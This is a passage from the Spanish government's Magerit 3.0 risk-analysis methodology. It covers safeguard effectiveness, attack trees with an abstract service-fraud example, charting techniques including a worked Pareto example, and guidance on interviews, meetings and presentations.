Eficacia ponderada de un paquete de salvaguardas Como eficacia de un paquete de salvaguardas se ha tomado el valor medio de las eficacias de los componentes. Este cálculo puede modularse si se tiene en cuenta que no todas las salvaguardas son de la misma naturaleza, introduciendo una ponderación “p”: e(ps) = Σ k e(ps k ) × p k

/ Σk p

k

El caso particular de que todas las salvaguardas sean igual de importantes, se consigue tomando “p = 1”. La eficacia frente al impacto y la frecuencia de una amenaza. El riesgo combina impacto y frecuencia. Una salvaguarda puede reducir el impacto, o la frecuencia, o ambas facetas. Depende de la naturaleza de la salvaguarda el que actúe sobre el impacto o sobre la frecuencia. Así, en los párrafos anteriores, se puede diferenciar entre la eficacia reduciendo el impacto, “ei”, y la eficacia reduciendo la frecuencia “ef”, Ambas eficacias se estiman con el mismo criterio: satisfacción de su cometido. Por último se puede calcular la eficacia reduciendo el riesgo, “e”, como (1 − ei) × (1 − ef) = 1 − e

© Ministerio de Hacienda y Administraciones Públicas

página 21 (de 42)

Magerit 3.0

Árboles de ataque

2.3. Árboles de ataque Los árboles de ataque son una técnica para modelar las diferentes formas de alcanzar un objetivo. Aunque han existido durante años con diferentes nombres, se hicieron famosos a partir de los trabajos de B. Schneier que propuso sus sistematización en el área de los sistemas de información. El objetivo del atacante se usa como raíz del árbol. A partir de este objetivo, de forma iterativa e incremental se van detallando como ramas del árbol las diferentes formas de alcanzar aquel objetivo, convirtiéndose las ramas en objetivos intermedios que a su vez pueden refinarse. Los posibles ataques a un sistema se acaban modelando como un bosque de árboles de ataque. Un árbol de ataque pasa revista a cómo se puede atacar un sistema y por tanto permite identificar qué salvaguardas se necesita desplegar para impedirlo. También permiten estudiar la actividad del atacante y por tanto lo que necesita saber y lo que necesita tener para realizar el ataque; de esta forma es posible refinar las posibilidades de que el ataque se produzca si se sabe a quién pudiera interesar el sistema y/o la información y se cruza esta información con la habilidades que se requieren. Veamos un ejemplo ilustrativo sobre como usar fraudulentamente (sin pagar) un servicio de pago: 1. Objetivo: usar sin pagar (OR) 1. suplantar la identidad de un usuario legítimo 2. soslayar la identificación de acceso al servicio 3. abusar del contrato (AND) 1. ser un usuario legítimo 2. conseguir que no se facture el servicio (OR) 1. que no queden trazas de uso 2. que se destruyan las trazas antes de facturación (OR) 1. las destruyo yo 2. engaño al operador para que las borre 3. manipulo del sw para que no las sume 3. repudiar las trazas 4. dar datos de cargo falsos Lo más habitual para alcanzar un objetivo o subobjetivo es que se disponga de varias maneras alternativas (nodos OR); aunque en ocasiones se requiere la concurrencia de varias actividades (nodos AND). En conjunto, se consigue un esquema de las diferentes maneras en las que un usuario podría usarlo sin pagar por ello.

2.3.1. Nodos con atributos Identificadas las diferentes maneras de alcanzar un objetivo, los nodos del árbol se pueden enriquecer con información de detalle, que puede ser de muy diferentes tipos; por ejemplo: •

conocimientos que se requieren del atacante: cualquiera, alguna experiencia, un ingeniero, un hacker profesional, etc.

•

inversión del atacante: cantidad de dinero y tiempo que tendría que desembolsar para realizar la acción

•

riesgo para el atacante: si es capturado, ¿qué consecuencias afrontaría?

Si la información del árbol con estos atributos se procesa automáticamente, podemos obtener escenarios simplificados de ataque: •

usuarios inexpertos pero con bastante dinero

•

atacantes profesionales pero sin capacidad de inversión (o sin necesidad de realizar una inversión adicional para perpetrar este ataque)

© Ministerio de Hacienda y Administraciones Públicas

página 22 (de 42)

Magerit 3.0 •

atacantes que quedarían impunes

•

etc.

Árboles de ataque

Para alcanzar estos escenarios especializados basta eliminar del árbol las ramas que no satisfagan una condición cualitativa o cuantitativa 10 . Sobre un árbol con atributos es posible determinar el ataque más probable, simplemente extrayendo aquel ataque que requiere menos medios y menos conocimiento por parte del atacante. También es posible determinar cuál será la línea de acción de un posible perfil de atacante (que se determina en base al tipo de servicio o información que estamos protegiendo): aquel que con menos coste satisfaga los conocimientos mínimos para realizar el ataque.

2.3.2. Riesgo residual Cuando se han desplegado salvaguardas, su efecto puede reflejarse sobre el árbol de ataque: •

incrementando el conocimiento que el atacante necesitaría para alcanzar su objetivo pese a las salvaguardas desplegadas: idealmente debería ser imposible por mucho que supiera

•

incrementando el desembolso que el atacante tendría que realizar para alcanzar su objetivo a la vista de las salvaguardas desplegadas: idealmente el coste debería ser superior al beneficio para el atacante

Un sistema ideal de salvaguardas eliminaría todas las ramas del árbol. Un sistema real suele llevar los atributos a niveles elevados de conocimiento e inversión que reducen la posibilidad de que el ataque se materialice a un nivel residual aceptado por la Dirección.

2.3.3. Construcción del árbol La construcción del árbol es laboriosa. Marcar el objetivo final requiere un conocimiento de dónde está el valor en la Organización y cual puede ser el objetivo del atacante respecto del mismo. El enriquecimiento en forma de ramas debería ser exhaustivo; pero está limitado por la imaginación del analista; si el atacante es “más listo” tiene una oportunidad para utilizar una vía imprevista. La experiencia permite ir enriqueciendo el árbol con nuevos ataques realmente perpetrados o simplemente detectados en el perímetro con un buen sistema de monitorización. Puede encontrarse ayuda a la construcción del árbol en •

la experiencia propia o ajena en sistemas similares

•

grupos de reflexión (brain storming meetings) en los que de forma informal se van exponiendo cosas que posiblemente pensarían los atacantes; estas sesiones suelen generar mucho material en bruto que hay que organizar y estructurar para ser utilizado como herramienta de análisis

•

herramientas que sugieran ataques en base a la naturaleza de los activos presentes en el sistema

Si se dispone de un modelo de valor como el desarrollado en las actividades de la metodología Magerit, es posible utilizar éste para determinar la naturaleza de los activos y las dependencias entre ellos, de forma que podemos elaborar el árbol de ataques en base al conocimiento de los activos inferiores que constituyen la vía de ataque para alcanzar los activos superiores en los que suele residir el valor para la Organización. Resumen Los árboles de ataque son una herramienta gráfica para analizar y presentar qué puede pasar y cómo lo prevenimos. Capturan de alguna forma el razonamiento del atacante y permiten anticiparse a lo que pudiera ocurrir. 10 Los cálculos suelen ser sencillos y permiten trabajar con diferentes niveles de refinamiento. Los nodos OR cuestan lo que el más barato de sus hijos. Los nodos AND suman los costes. En el caso de analizar conocimientos, los nodos OR requieren en conocimiento más bajo, mientras que los nodos AND requieren el conocimiento del hijo más sofisticado. Nótese que para tomar decisiones combinadas hay que ir al último nodo de detalle, pues frecuentemente lo más barato y lo más sofisticado son condiciones contradictorias.

© Ministerio de Hacienda y Administraciones Públicas

página 23 (de 42)

Magerit 3.0

Árboles de ataque

Aunque es difícil construir árboles exhaustivos en el primer intento, sí son un buen soporte para ir incorporando la experiencia acumulada y recopilar en cada momento el mejor conocimiento de que se dispone. De esta forma es posible realizar simulaciones: •

¿qué pasaría si introducimos nuevos activos?

•

¿qué pasaría si cambiamos las salvaguardas?

•

¿cómo lo enfocaría un atacante de perfil X?

Nótese que los árboles de ataque constituyen una documentación extremadamente valiosa para un atacante, especialmente cuando incorporan el estado actual de salvaguardas, pues facilitan en extremo su trabajo. Por ello deberán extremarse las medidas de protección de su confidencialidad. Su principal inconveniente se encuentra en que es explosivo por la cantidad de árboles y detalle que pueden ser necesarios para recopilar todas las amenazas posibles sobre un sistema medianamente complejo. Por ello cabe esperar su uso como complemento a un análisis de riesgos, permitiendo profundizar en algunas líneas de ataque y dramatizar sus consecuencias.

2.3.4. Referencias •

J. Viega et al., “Risk Analysis: Attack Trees and Other Tricks”, Software Development Magazine, August 2002.

•

A.P. Moore et al., “Attack Modeling for Information Security and Survivability”, Software Engineering Institute, Carnegie Mellon University, Technical Note CMU/SEI-2001-TN-001, 2001.

•

B. Schneier, “Secrets and Lies: Digital Security in a Networked World”, John Wiley & Sons, 2000.

•

B. Schneier, “Attack Trees: Modeling Security Threats”, Dr. Dobb's Journal, December 1999.

ISO 31010 ISO/IEC 31010:2009, Risk management — Risk assessment techniques. UNE-ISO/IEC 31010:2010, Gestión del riesgo. Técnicas de apreciación del riesgo. Esta norma introduce, a título informativo, multitud de técnicas para valorar diferentes magnitudes para analizar riesgos. Aunque los árboles de ataque no aparecen como tales, hay varias técnicas cercanas que analizan secuencias de ataque: B.5 Análisis preliminar de peligros (PHA) B.7 Análisis de riesgos y puntos de control críticos (HACCP) B.14 Análisis de árbol de fallos (FTA) B.15 Análisis del árbol de sucesos (ETA) B.16 Análisis de causa-consecuencia B.17 Análisis de causa-y-efecto B.18 Análisis de capas de protección (LOPA) B.19 Análisis de árbol de decisiones B.21 Análisis de pajarita B.26 Estadísticas y redes Bayesianas

© Ministerio de Hacienda y Administraciones Públicas

página 24 (de 42)

Magerit 3.0

Técnicas generales

3. Técnicas generales En este capítulo nos referiremos a técnicas generales que, entre otros casos, son de utilizad en el desarrollo de un proyecto de análisis y gestión de riesgos. No obstante su generalidad, cuando procede se ha indicado cómo se aplican en el contexto del análisis y gestión de riesgos. Las indicaciones dadas en este libro complementan a las presentadas a lo largo de la metodología. Se han considerado de especial interés: 1. técnicas gráficas: histogramas, diagramas de Pareto y de tarta 2. sesiones de trabajo: entrevistas, reuniones y presentaciones 3. valoraciones Delphi que se desarrollan en las siguientes secciones.

© Ministerio de Hacienda y Administraciones Públicas

página 25 (de 42)

Magerit 3.0

Técnicas gráficas

3.4. Técnicas gráficas Esta sección se centra en cómo algunas representaciones gráficas de los elementos de un proyecto AGR pueden apoyar a dicho proyecto, tanto como soporte a presentaciones, como en la toma de decisiones. Se presentan: •

Gráficas para presentar resultados •

puntos

•

barras

•

radar

•

Diagramas de Pareto, para priorización de acciones

•

Diagramas de tarta

3.4.2. Por puntos y líneas Es la forma más clásica de presentación de resultados. Se limita a usar los ejes cartesianos usando las abscisas para recoger los datos y las ordenadas para mostrar su valor. Los datos en ordenadas se pueden representar en escala lineal o en escala logarítmica. La escala lineal es razonable cuando el rango de valores es reducido, imponiéndose la escala logarítmica cuando el rango es grande (órdenes de magnitud). No obstante, el principal criterio para elegir el tipo de escala debería ser la naturaleza del valor que se quiere representar. Una escala lineal es adecuada cuando importa transmitir la diferencia absoluta entre valores

xi x j Por el contrario, una escala logarítmica es adecuada cuando importa transmitir la diferencia relativa entre valores:

xi x j xi En proyectos de análisis y gestión de riesgos se trabaja con múltiples magnitudes que son percepciones de valor que se ajustan naturalmente a escalas logarítmicas. A veces se pintan las líneas que unen los puntos correspondientes a cada valor en el eje Y para cada dato en el eje X. Otras veces sólo se pintan los puntos. A veces se introducen líneas horizontales de nivel para marcan umbrales: valores mínimos o máximos para alguna toma de decisiones.

© Ministerio de Hacienda y Administraciones Públicas

página 26 (de 42)

Magerit 3.0

Técnicas gráficas

Como ejemplo, se presenta el resultado de cálculo de riesgo en un sistema de información, a lo largo de varias fases del proyecto:

Estas gráficas permiten acumular gran cantidad de información. Informalmente, se puede decir que son más apreciadas por personas con perfil técnico.

3.4.3. Por barras Los diagramas de barras disponen los elementos en unas coordenadas cartesianas convencionales: los elementos a considerar en un eje y los valores en el otro eje. Son muy similares a las presentaciones por puntos y líneas, aunque permiten menos resultados (dado que las barras ocupan más espacio que los puntos). El eje Y puede disfrutar de una escala lineal o logarítmica. Ver consideraciones expuestas en la sección anterior.

© Ministerio de Hacienda y Administraciones Públicas

página 27 (de 42)

Magerit 3.0

Técnicas gráficas

Como ejemplo, se presenta el resultado de cálculo de riesgo en un sistema de información, a lo largo de varias fases del proyecto:

En este tipo de diagramas es fácil recopilar todos los valores. A veces se introducen líneas horizontales de nivel para marcan umbrales: valores mínimos o máximos para alguna toma de decisiones. Informalmente, se puede decir que son presentaciones apreciadas por personas con perfil técnico.

3.4.4. Gráficos de ‘radar’ Estos gráficos representan las distintas variables o factores del fenómeno en estudio sobre semiejes o radios que parten de un centro. Estos radios, tantos como factores, se gradúan para representar sus niveles y posibles umbrales en escala normal o logarítmica, según convenga. El valor alcanzado por cada factor o variable se marca en su radio respectivo (el centro representa el valor cero). Se unen por segmentos los puntos consecutivos así marcados, correspondientes a los valores de las variables definidas en los semiejes, obteniendo un polígono irregular ‘estrellado’ denominado gráfico de ‘radar’ o ‘rosa de los vientos’. Todos ellos ofrecen una visión sintética del fenómeno que permite estudiarlo globalmente, facilitando la observación de sus características y tendencias así como el balance entre sus distintos factores o elementos. Esta visión sintética es especialmente importante en el análisis y gestión de riesgos, donde se busca cierto equilibrio entre factores complementarios. La seguridad procede más de una cobertura homogénea sin fisuras que de una cobertura muy alta en ciertos aspectos frente a claras deficiencias en otros buscando una cierta compensación. El gráfico de ‘radar’ básico exige empezar por decidir qué factores o variables se van a incluir. Así, si se busca representar el estado global de seguridad de una Organización, los factores serán los diferentes servicios. Tras obtener, calcular, clasificar y tabular los valores de cada factor, se dibujan las escalas como radios (dentro de un círculo máximo cuyo radio sea el valor más alto normalizado en cada semieje). Hay que cuidar siempre que exista la misma distancia angular entre los semiejes (es decir que éstos dividan el círculo máximo en arcos iguales).

© Ministerio de Hacienda y Administraciones Públicas

página 28 (de 42)

Magerit 3.0

Técnicas gráficas

El siguiente ejemplo muestra la evolución del riesgo sobre los activos de tipo servicio y datos:

A veces se marcan algunos niveles (circunferencias) con valores especiales tales como umbrales mínimos o cotas máximas. A veces se rellena la superficie abarcada, aunque otras veces se pintan sólo las líneas del perímetro. Las superficies son útiles cuando no se da el caso de que un área “tape” a otra. Las líneas siempre son utilizables. Este tipo de diagramas permiten: •

sintetizar gráficamente el equilibrio o desequilibrio en varios ejes

•

acumular perfiles de máximos o de mínimos

•

mostrar la evolución temporal

Informalmente, se puede decir que son presentaciones apreciadas por personas con perfil gerencial o de dirección.

3.4.5. Diagramas de Pareto Vilfredo Pareto (1848-1923) fue economista italiano estudioso de la distribución de la riqueza. Descubrió que la minoría de la población poseía la mayor parte de la riqueza y la mayoría de la población poseía la menor parte de la riqueza. Con esto estableció la llamada "Ley de Pareto" según la cual la desigualdad económica es inevitable en cualquier sociedad. Posteriormente, se aplicó este concepto a la calidad, obteniéndose lo que hoy se conoce como la regla 80/20. Según este concepto, si se tiene un problema con muchas causas, se puede decir que el 20% de las causas resuelven el 80% del problema y el 80% de las causas solo resuelven el 20% del problema. El análisis de Pareto es una técnica que separa los “pocos vitales” de los “muchos normales”. Una gráfica de Pareto es utilizada para separar gráficamente los aspectos más significativos de un problema que el equipo sepa dónde dirigir sus esfuerzos para mejorar. Reducir los problemas más significativos (las barras más largas en una gráfica Pareto) servirá más para una mejora general que reducir los más pequeños. Con frecuencia, un aspecto tendrá el 80% de los problemas. En el resto de los casos, entre 2 y 3 aspectos serán responsables por el 80% de los problemas. La minoría vital aparece a la izquierda de la gráfica y la mayoría normal a la derecha. Hay veces que es necesario combinar elementos de la mayoría normal en una sola clasificación denominada otros, la cual siempre deberá ser colocada en el extremo derecho. La escala vertical es para el costo en unidades monetarias, frecuencia o porcentaje. © Ministerio de Hacienda y Administraciones Públicas

página 29 (de 42)

Magerit 3.0

Técnicas gráficas

La gráfica es muy útil al permitir identificar visualmente en una sola revisión tales minorías de características vitales a las que es importante prestar atención y de esta manera utilizar todos los recursos necesarios para llevar acabo una acción correctiva sin malgastar esfuerzos. Algunos ejemplos de tales minorías vitales podrían ser: •

La minoría de clientes que representen la mayoría de las ventas.

•

La minoría de productos, procesos, o características de la calidad causantes del grueso de desperdicio o de los costos de reelaboración.

•

La minoría de rechazos que representa la mayoría de quejas de la clientela.

•

La minoría de vendedores que esta vinculada a la mayoría de partes rechazadas.

•

La minoría de problemas causantes del grueso del retraso de un proceso.

•

La minoría de productos que representan la mayoría de las ganancias obtenidas.

•

La minoría de elementos que representan al grueso del costo de un inventarios.

Un equipo puede utilizar la Gráfica de Pareto para varios propósitos durante un proyecto para lograr mejoras: •

Para analizar las causas

•

Para estudiar los resultados

•

Para planear una mejora continua

•

Para comparar fotos de “antes y después” y estudiar qué progreso se ha logrado.

Aplicado a proyectos análisis y gestión de riesgos, cabe citar los siguientes usos •

riesgo del sistema en función de los activos, quizás para cierta dimensión de seguridad, permitiendo detectar qué activos contribuyen fundamentalmente al riesgo del sistema

•

riesgo del sistema en función de las amenazas, quizás para cierta dimensión de seguridad, permitiendo detectar qué amenazas contribuyen fundamentalmente al riesgo del sistema

3.4.5.1. Construcción 1. Seleccionar las categorías lógicas 2. Reunir datos: valor para cada categoría 3. Ordenar los datos de mayor a menor a menor valor •

a menudo conviene introducir una nueva categoría “otros” para agrupar los datos de menor valor para los que no se requiere detalle; esta categoría siempre es la última

4. Calcular el valor agregado para cada categoría •

y calcular el porcentaje del total que cada categoría representa

5. Trazar los ejes: •

eje horizontal (x) para las categorías

•

eje vertical (Y) primario, para la magnitud propia del valor a representar; puede ser lineal o logarítmica, según convenga

•

eje vertical (Y) secundario, para el porcentaje del total: lineal

6. De izquierda a derecha trazar las barras para cada categoría. Si existe una categoría “otros”, debe ser colocada al final, sin importar su valor. Es decir, que no debe tenerse en cuenta al momento de ordenar de mayor a menor la frecuencia de las categorías. 7. Trazar el gráfico para el porcentaje agregado 8. Analizar la gráfica para determinar los “pocos vitales”

3.4.5.2. Ejemplo práctico Se aplican los pasos anteriores a un caso práctico, a título de ilustración. © Ministerio de Hacienda y Administraciones Públicas

página 30 (de 42)

Magerit 3.0

Técnicas gráficas

Pasos 1 y 2: seleccionar categorías y recopilar valores Como resultado del análisis de riesgos, se dispone de la siguiente tabla que resume el riesgo en los diferentes servicios y datos del sistema de información activos

riesgo

[S] Servicios [S_T_remota] tramitación vía www

132.400

[S_T_presencial] tramitación presencial

99.300

[S_notificación] notificación telemática

83.400

[S_info] información de normativa

40.400

[S_news] noticias y modificaciones

5.300

[D] Datos / información [D_ciudadanos] identificación de usuarios [D_económicos] datos económicos

7.300 120.600

[D_expedientes] estado de la tramitación

45.000

[D_normativa] normativa legal

55.100

[D_histórico] de cambios

12.200

Paso 3: ordenar los datos e introducir “otros” activos

riesgo

[S_T_remota] tramitación vía www

132.400

[D_económicos] datos económicos

120.600

[S_T_presencial] tramitación presencial

99.300

[S_notificación] notificación telemática

83.400

[D_normativa] normativa legal

55.100

[D_expedientes] estado de la tramitación

45.000

[S_info] información de normativa

40.400

OTROS

24.800

Paso 4: agregar datos y calcular porcentajes activos

riesgo

agregado

[S_T_remota] tramitación vía www

132.400 132.400

22%

[D_económicos] datos económicos

120.600 253.000

42%

[S_T_presencial] tramitación presencial

99.300 352.300

59%

[S_notificación] notificación telemática

83.400 435.700

72%

[D_normativa] normativa legal

55.100 490.800

82%

[D_expedientes] estado de la tramitación

45.000 535.800

89%

[S_info] información de normativa

40.400 576.200

96%

OTROS

24.800 601.000 100% 601.000

© Ministerio de Hacienda y Administraciones Públicas

página 31 (de 42)

© Ministerio de Hacienda y Administraciones Públicas OTROS

[S_info] información de normativa

[D_expedientes] estado de la tramitación

[D_normativa] normativa legal

[S_notificación] notificación telemática

[S_T_presencial] tramitación presencial

[D_económicos] datos económicos

[S_T_remota] tramitación vía www

Magerit 3.0 Técnicas gráficas

Pasos 5, 6 y 7: dibujar la gráfica 140.000 100%

120.000 80%

100.000

80.000 60% riesgo

60.000 40% agregado

40.000

20.000 20%

0 0%

activos

página 32 (de 42)

Magerit 3.0

Técnicas gráficas

3.4.6. Diagramas de tarta Estos diagramas presentan los datos como fracciones de un círculo, distribuidos los 360º de éste en proporción al valor que es representado en cada sección. La proporción suele ser lineal; rara vez logarítmica.

Aunque los datos pueden ordenarse de la forma que más interese en cada momento, es frecuente usar una ordenación de valor decreciente (siguiendo el procedimiento indicado para los diagramas de Pareto). Los diagramas de tarta no permiten presentar muchos datos simultáneamente; pero si son una indicación muy gráfica de cómo las diferentes partes contribuyen al total.

© Ministerio de Hacienda y Administraciones Públicas

página 33 (de 42)

Magerit 3.0

Sesiones de trabajo

3.6. Sesiones de trabajo Las sesiones de trabajo tienen diversos objetivos. Dependiendo del tipo de sesión que se realice, los objetivos pueden ser: obtener información, comunicar resultados, reducir el tiempo de desarrollo, activar la participación de usuarios y directivos o aumentar la calidad de los resultados. Las sesiones de trabajo pueden ser de varios tipos en función de las personas que participen en ellas, el objetivo que se persiga y el modo de llevarlas a cabo. Las entrevistas son un tipo de sesiones de trabajo dirigidas a obtener la información de una forma individual dónde aparecen los perfiles de entrevistado y entrevistador. Las reuniones pueden tener el mismo objetivo, pero la información está dispersa entre varias personas y únicamente trabajando en grupo, se conseguirá extraer y depurar toda la información de forma global. El objetivo de las presentaciones es la comunicación de avances, conclusiones y resultados por parte del equipo de trabajo al auditorio que corresponda. Se llevan a cabo con el fin de informar sobre el estado de un proyecto en su totalidad o de alguno de los procesos, o exponer uno o varios productos finales de un proceso para su aprobación.

3.6.1. Entrevistas Las entrevistas son reuniones con una persona o un grupo de personas con el objetivo de recabar cierta información. Las entrevistas se dicen estructuradas cuando se atiene a una serie de preguntas planificadas sin margen para la improvisación. Las entrevistas se dicen libres cuando, existiendo un objetivo claro, no existe un formulario rígido. En proyectos de análisis y gestión de riesgos suelen practicarse entrevistas semi-estructuradas en las que, existiendo un guión preestablecido de preguntas, el entrevistado tiene margen para extenderse en puntos no previstos o, más frecuentemente, responderlas en un orden diferente al previsto. En cualquier caso el guión se emplea para no olvidar nada. Por ser más precisos, en las primeras tareas (T1.1.1, Determinar la oportunidad) es casi imposible disponer de un cuestionario rígido, y el entrevistado debe disfrutar de una elevada flexibilidad. En las tareas de descubrimiento (como, por ejemplo, T2.1.1, Identificación de activos) las entrevistas son semi-estructuradas, usando el cuestionario como guía que hay que adaptar. En las tareas de detalle (como, por ejemplo, T2.1.3, Valoración de activos), el margen de maniobra está fuertemente pautado, usándose entrevistas estructuradas. El mayor volumen de entrevistas en un proyecto AGR se encuentra en las tareas del proceso P2, Análisis de riesgos, en el que hay que centrarse especialmente. Las actividades A2.1 (caracterización de los activos), A2.2 (caracterización de las amenazas) y A2.3 (caracterización de las salvaguardas) del proceso P2 (análisis de riesgos), permiten conocer los elementos objeto del análisis de riesgos, identificándolos, valorándolos y relacionándolos. Para capturar este conocimiento se procede por medio de una serie de entrevistas con los participantes, según se determinó en la tarea T1.3.2 (organizar a los participantes) y de acuerdo al plan del proyecto (T1.3.3). Estas entrevistas tienen una importancia crucial porque la información a recoger condiciona el conocimiento del equipo del proyecto (ajeno en parte al funcionamiento del dominio o sea dependiente de los conocedores de su comportamiento cotidiano). La recogida de información es una operación delicada que exige una buena sintonía entre los participantes para no que no quede oculta (ni voluntaria ni involuntariamente) alguna información que posteriormente pudiera revelarse importante y, al tiempo, no caer en un excesivo nivel de detalle que impida separar lo esencial de lo accesorio. Por todo ello es necesario: Durante la preparación de la entrevista: 1. Recopilar los cuestionarios personalizados distribuidos en la tarea T1.4.1. 2. Disponer del documento acreditativo de la Dirección. 3. Ubicar y localizar a los entrevistados, para optimizar la realización de las entrevistas, tanto espacial como temporalmente. © Ministerio de Hacienda y Administraciones Públicas

página 34 (de 42)

Magerit 3.0

Sesiones de trabajo

4. Confirmar cada entrevista, informando de los documentos que se van a requerir durante la entrevista, para facilitar su disponibilidad. Durante la entrevista 5. Informar al entrevistado de los principales conceptos relacionados con la seguridad y la de los sistemas de información, en un grado que depende de su información y experiencia en la materia. 6. Recordar los objetivos de cada entrevista al entrevistado. 7. Perfilar el entorno de trabajo del entrevistado. 8. Recabar las funciones y objetivos del entrevistado. 9. Recabar el modo de actuación del entrevistado. 10. Identificar los medios de que dispone para realizar las funciones y del personal a su cargo. 11. Identificar los procesos realizados y de la información manejada. 12. Identificar posibles situaciones conflictivas (internas o externas, accidentales o provocadas). Para la adquisición de este conocimiento puede ser necesario entrevistar a diferentes colectivos dentro de la Organización: •

dirección o gerencia, que conocen las consecuencias que para la misión de la Organización tendrían los incidentes

•

responsables de los servicios, que conocen los servicios que se manejan y las consecuencias de la no prestación del servicio o de su prestación degradada

•

responsables de los datos, que conocen los datos que se manejan, su valor y las consecuencias de los incidentes que pudieran afectarles

•

responsables de sistemas de información y responsables de operación, que: •

conocen qué sistemas hay en operación

•

tienen el conocimiento histórico de lo que ha pasado anteriormente

•

conocen las consecuencias de un incidente

•

conocen las salvaguardas técnicas implantadas

•

conocen las actividades en curso relacionadas con la seguridad de los sistemas

3.6.2. Reuniones Las reuniones tienen como objetivo obtener información que se encuentra repartida entre varias personas, tomar decisiones estratégicas, tácticas u operativas, transmitir ideas sobre un determinado tema, analizar nuevas necesidades de información, así como comunicar los resultados obtenidos como consecuencia de un estudio. Para realizar una reunión es necesario designar a las personas que deben participar en ella y determinar el lugar en el que poder llevarla a cabo. Las directrices básicas de una reunión son: •

Preparar y convocar la reunión (orden del día)

•

Realizar la reunión

•

Consolidar el resultado de la reunión

•

Elaborar el acta de reunión

Previamente a la convocatoria de la reunión, se definen los objetivos, se planifica el método de trabajo que se va a seguir y el tiempo del que se dispone, se eligen los participantes y se prepara el material necesario. Después de la preparación, es imprescindible enviar al usuario la convocatoria con el orden del día de la reunión. Este orden incluye la fecha, hora de inicio, hora de finalización prevista, lugar, © Ministerio de Hacienda y Administraciones Públicas

página 35 (de 42)

Magerit 3.0

Sesiones de trabajo

asistentes y los puntos a tratar, detallando, entre otros, el tiempo que se dedicará a cada tema y la persona responsable de exponerlo. Dicha convocatoria se envía con antelación suficiente para que los asistentes puedan organizar su agenda y prepararse para la reunión con tiempo. Al inicio de la reunión, es importante hacer un resumen general de los temas a tratar, los objetivos que se persiguen, el método de trabajo y la agenda de la reunión. Si se considera oportuno se puede utilizar la técnica de presentación. Desde su inicio se debe crear un clima de confianza entre los asistentes. La persona responsable de la reunión ejercita la dinámica de dirección de grupos, estimulando la participación, controlando el ritmo de la sesión y centrando o clarificando el tema cuando sea necesario. Al finalizar, se sintetizan las conclusiones, se comprueba si hay acuerdo o si quedan puntos pendientes de reflexión y se propone fechas para próximas reuniones. El responsable de tomar las notas en la reunión, levanta el acta y la remite a los asistentes que deben confirmar su recepción.

3.6.3. Presentaciones El objetivo de las presentaciones es la comunicación de avances, conclusiones y resultados por parte del equipo de trabajo al auditorio que corresponda. Se llevan a cabo con el fin de informar sobre el estado de un proyecto en su totalidad o de alguno de los procesos, o exponer uno o varios productos finales de un proceso para su aprobación. En primer lugar se establece el alcance de la presentación, determinando cuál es el objetivo principal y qué contenido general se quiere comunicar. Una vez que están claros estos puntos, se inicia la preparación de la presentación considerando quién es el ponente, qué tema se va a exponer, cuál va ser la duración estimada y a qué tipo de audiencia o auditorio va dirigida la presentación considerando, a su vez, el nivel de decisión que tengan sus componentes. Todos estos factores van a influir en el tono más o menos formal de la presentación, en el nivel de detalle que requiere la presentación y en los medios a utilizar. La eficacia de una presentación está directamente relacionada con el conocimiento que posea el ponente sobre el tema a exponer, así como de la audiencia a quién va dirigido. Las cuestiones que guían esta preparación responden a las preguntas, a quién se dirige, qué se espera conseguir, de cuánto tiempo se dispone, dónde se va exponer y con qué medios. Una vez analizados todos estos aspectos, se estructura el mensaje que se quiere transmitir a la audiencia de forma que sea significativo y esté bien organizado. Su estructura se apoya en los objetivos y en el concepto esencial que se está tratando y se divide en una apertura o introducción, una visión previa, el cuerpo del tema, una revisión y la conclusión final. Previamente, el ponente debe decidir cuál es el enfoque más eficaz que le quiere dar al tema que va a exponer en función de la audiencia a quien va dirigido. Para conseguir el objetivo de una presentación no es suficiente preparar de una forma estructurada el mensaje, sino que además, el contenido se debe exponer de una forma convincente, utilizando pruebas o materiales de apoyo que refuercen la credibilidad a la audiencia. Por este motivo es importante seleccionar cuidadosamente el material de apoyo que se va a utilizar como pueden ser datos estadísticos, análisis de resultados, etc. También tiene especial relevancia escoger los apoyos audiovisuales oportunos que aclaren conceptos o datos difíciles de captar, resaltar puntos significativos, reforzar la comunicación verbal, despertar interés, cambiar el ritmo de la presentación, etc. Habrá que seleccionar los temas que requieren mayor soporte audiovisual. Conviene señalar que no se debe utilizar un número excesivo de medios ya que no son un fin en sí mismos y podrían dispersar la atención de la audiencia convirtiéndose en fuente de posibles imprevistos por fallos técnicos y repercutiendo negativamente en el ritmo de la presentación. Por este motivo, es importante conocer las ventajas e inconvenientes de cada medio como son pizarras, transparencias, diapositivas, vídeos, ayudas informatizadas, etc., para seleccionar el más apropiado y garantizar el éxito de la presentación. Antes de iniciar la exposición, habrá que asegurar la disponibilidad de todos los recursos materiales necesarios que se hayan considerado oportunos en la preparación de la presentación. © Ministerio de Hacienda y Administraciones Públicas

página 36 (de 42)

Magerit 3.0

Sesiones de trabajo

Durante el desarrollo, es fundamental que el ponente hable con el ritmo adecuado y con un estilo verbal claro, correcto y conciso, y que cuide los aspectos formales. También debe mantener centrado el tema objeto de la presentación, resaltando los puntos más importantes y utilizando el material de soporte de forma adecuada y en el momento preciso, con el fin de captar la atención del auditorio. Conviene prestar atención a la corrección con que el ponente se relaciona con la audiencia. Debe intentar mantener una actitud positiva y abierta ante las posibles preguntas o comentarios. El estilo no verbal es la suma de todas las claves vocales (tono, voz, etc.) y visuales (expresión facial, gestos, movimiento, etc.) que el ponente transmite a la audiencia y es especialmente importante, ya que con él se puede ejercer un impacto significativo sobre la percepción y respuesta de la audiencia. Al finalizar la presentación, puede ser conveniente realizar una evaluación en la que se recojan las capacidades del ponente, el modo en que se llevó a cabo, las características del contenido, material utilizado, etc. y con esta información valorar el grado de satisfacción de la audiencia y tomar las medidas que se consideren oportunas.

3.6.4. Referencias •

“Managing Information Security Risks: The OCTAVE Approach”, C.J. Alberts and A.J. Dorofee, Addison-Wesley Pub Co; 1st edition (July 9, 2002) http://www.cert.org/octave/

•

Magerit, “Metodología de Análisis y Gestión de Riesgos de los Sistemas de Información”, MAP, versión 1.0, 1997 http://www.csi.map.es/csi/pg5m20.htm

•

ISO 31010 ISO/IEC 31010:2009, Risk management — Risk assessment techniques. UNE-ISO/IEC 31010:2010, Gestión del riesgo. Técnicas de apreciación del riesgo. B.2 Entrevistas estructuradas y semiestructuradas

© Ministerio de Hacienda y Administraciones Públicas

página 37 (de 42)

Magerit 3.0

Delphi

